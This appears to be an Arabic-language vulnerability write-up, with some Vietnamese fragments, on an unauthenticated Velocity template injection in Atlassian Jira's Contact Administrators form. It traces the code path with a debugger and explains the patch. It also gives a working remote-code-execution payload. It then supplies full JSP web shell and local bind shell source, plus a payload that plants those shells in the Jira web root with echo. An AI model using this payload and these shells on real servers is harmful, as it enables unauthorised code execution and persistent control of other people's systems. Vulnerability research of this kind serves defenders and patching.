
حقن القوالب بدون مصادقة في Atlassian Jira
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= في الملف ./bin/setenv.bat (أو ما يعادله في ./bin/setenv.sh لنظام لينكس) لتتمكن من تشغيل التصحيح عن بُعدset JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug مع قيمة host و port لتكون localhost:5005 و Command line aguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
شغّل الملف ./bin/config.bat (أو config.sh في لينكس) وعدّل "Jira home" إلى مجلد jira home الخاص بك

شغّل الملف ./bin/start-jira.bat (أو ./bin/start-jira.sh في لينكس). تحقق من أن إصدار جافا والمنفذين 8080 و5005 متاحان، وإلا فلن يعمل!
نختار الوضع الخاص (private mode)

في هذه الخطوة، تذكّروا استخدام عنوان بريد إلكتروني يمكنه استقبال الإيميل :)

أكملوا الإعدادات (Conf) واختبروا الاتصال بشكل كامل

في http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa فعّل ميزة Contact Administrators Form

سأذكر بعض الملاحظات فقط عند البناء، يمكنكم الاطلاع على بناء Jira من المصدر
بعد قراءة الإشعار الأمني علمنا أن هذا الخطأ يقع في ContactAdministrators و SendBulkMail (وهذا الأخير سأتجاهله لأنه يتطلب مصادقة). لذلك بدأت باختبار ميزة ContactAdministrators والتقاط الطلب

لاحظت أن الطلب يذهب إلى /secure/ContactAdministrators.jspa، لذا نظرت إلى الملف ./atlassian-jira/WEB-INF/web.xml لمعرفة أي class سيُوجَّه إليه هذا الطلب


بهذا تتم معالجة الطلب في JiraWebworkActionDispatcher، لذا وضعت نقطة توقف (breakpoint) في init و server في هذا class وشغّلت التصحيح

وهكذا توقف البرنامج عند الدالة server، وبعد تتبّع قليل انتقل البرنامج إلى ContactAdministrators.doExecute()

ثم مررنا عبر send، وهنا يعرض البرنامج قائمة بحسابات الأدمن النشطة

ثم يمر البرنامج عبر الدالة sendTo. هنا نرى أن البرنامج ينشئ MailQueueItem ويضيفه إلى mailQueue.

يستدعي البرنامج الدالة EmailBuilder.withSubject. هنا يتم تحويل نص موضوع البريد الإلكتروني (الذي يرسله المهاجم) من String إلى TemplateSources وتُسند إلى المعامل subjectTemplate في EmailBuilder.

في الدالة renderLater ينشئ البرنامج EmailRenderer ويستخدمه لإنشاء RenderingMailQueueItem

من هنا، عند العودة إلى الدالة ContactAdministrators.sendTo، بعد إنشاء MailQueueItem يضيف البرنامج العنصر إلى mailQueue ثم يعود إلى دالة doExecute لإجراء Redirect. إذا اتبعنا مسار التصحيح هذا فلن نتمكن من الوصول إلى الجزء الذي يعرض فيه البرنامج البريد الإلكتروني، وبالتالي لا يمكن الوصول إلى النقطة التي يحدث فيها حقن القالب. فماذا أفعل لتتبّع معالجة البريد الإلكتروني؟؟؟
رأيت أن في EmailRenderer دالة renderNow (والبرنامج يستدعي renderLater فقط). توقعت أنه عندما يُستدعى البريد الموجود في queue ليتم عرضه، فإنه سيسلك نفس مسار renderNow، لذلك قررت التتبّع بدءًا من الدالة renderNow

من renderNow يستدعي البرنامج EmailRenderer.render(). وضعت نقطة توقف هنا وأعدت إرسال الطلب لأرى إن كان البرنامج سيصل فعلاً إلى هذه النقطة

لحسن الحظ، سار البرنامج في الاتجاه الذي توقعته. بعدها استدعى البرنامج renderEmailSubject

ثم يستدعي البرنامج DefaultVelocityTemplatingEngine.render(this.subjectTemplate)

نصل إلى DefaultVelocityTemplatingEngine.applying و DefaultVelocityTemplatingEngine.asPlainText

ثم يواصل الاستدعاء إلى asPlainText(Writer writer)

نصل إلى toWriterImpl، ولأن writer الذي مررته هو Fragment، يقفز البرنامج إلى else
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). هنا أنشأ البرنامج SimpleNode من Reader

render، حيث يستدعي nodeTree.render(ica, writer); لتحليل قالب Velocity، وبالتالي يمكن أن يحدث حقن القالب هنا!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()


ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
إذاً أصبح بإمكاننا تنفيذ الأكواد عن بُعد (RCE) على خادم Jira، لكن ماذا لو أردنا الحصول على shell وكان الخادم لا يملك اتصالاً صادرًا (outbound)؟ في هذه الحالة لا يمكننا إنشاء bind/reverse shell بالطريقة المعتادة لأنه لا توجد منافذ متاحة للوصول إلى الإنترنت.
تلقيت اقتراحًا من الأخ @honson97: "استخدم صفحة JSP لاستقبال المدخلات من المهاجم ثم مرّرها إلى bind shell يعمل بشكل مستقل ويستمع على localhost الخاص بالخادم نفسه".

من هذه الفكرة، كتبت ملفي JSP هما web.jsp و blind.jsp. blind.jsp يعمل كـ blind shell، يستمع دائمًا على localhost:4444 لاستقبال الأوامر المُدخلة إلى cmd/base وإرجاع النتائج إلى صفحة web.jsp، و web.jsp هي الأداة التي يستخدمها المهاجم لإدخال/إخراج الأوامر.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
الخطوة التالية هي رفع الـ shell إلى الخادم. وبما أننا نفترض أن الخادم لا يملك اتصالاً صادرًا (outbound)، فلا يمكننا رفع الملف إلا باستخدام أمر echo. أولاً، أزلت حرف "\n" والأحرف الخاصة بالهروب (Escape Characters) باستخدام بايثون
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
ثم انسخ السلسلة الناتجة وضعها في الحمولة (payload)
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
بعد رفع الملفين web.jsp و bind.jsp، انتقل إلى /bind.jsp ثم افتح تبويبًا آخر للوصول إلى /web.jsp?cmd=COMMAND لاختبار الـ shell

في ContactAdministrators.sendTo()، بدلاً من تمرير مدخلات العميل مباشرةً إلى الدالة EmailBuilder.withSubject لتحويلها إلى مصادر قالب قابلة للعرض (TemplateSources)، قام المطوّرون في الإصدار المصلَّح بإدخال المدخلات كسياق نصي (string context) واكتفوا بتمرير النص "$subject" إلى الدالة EmailBuilder.withSubject. عند العرض، ينفّذ النظام قالب "$subject" أي أنه يحمّل الموضوع - سياق النص (مدخلات العميل) - دون أن يقوم بعرضها. بعبارة أخرى، يحمّل البرنامج المدخلات كنص وليس كقالب قابل للعرض.
الإصدار المتأثر
الإصدار المصلَّح